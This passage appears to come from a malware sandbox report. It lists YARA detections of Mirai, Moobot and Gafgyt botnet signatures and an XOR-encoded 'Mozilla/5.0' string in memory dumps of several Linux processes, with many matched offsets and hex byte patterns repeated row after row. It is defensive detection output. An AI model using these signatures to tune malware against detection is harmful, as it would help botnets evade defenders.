0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6814.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6730.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6730.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6730.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6730.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6730.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6730.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6531.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6531.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6531.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6531.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6531.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6531.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6726.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6726.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6726.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6726.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6726.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6726.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7446.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7446.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7446.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7446.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7446.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7446.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6632.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7221.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7221.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7221.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7221.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7221.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7221.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6238.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6238.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6238.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6238.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6238.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 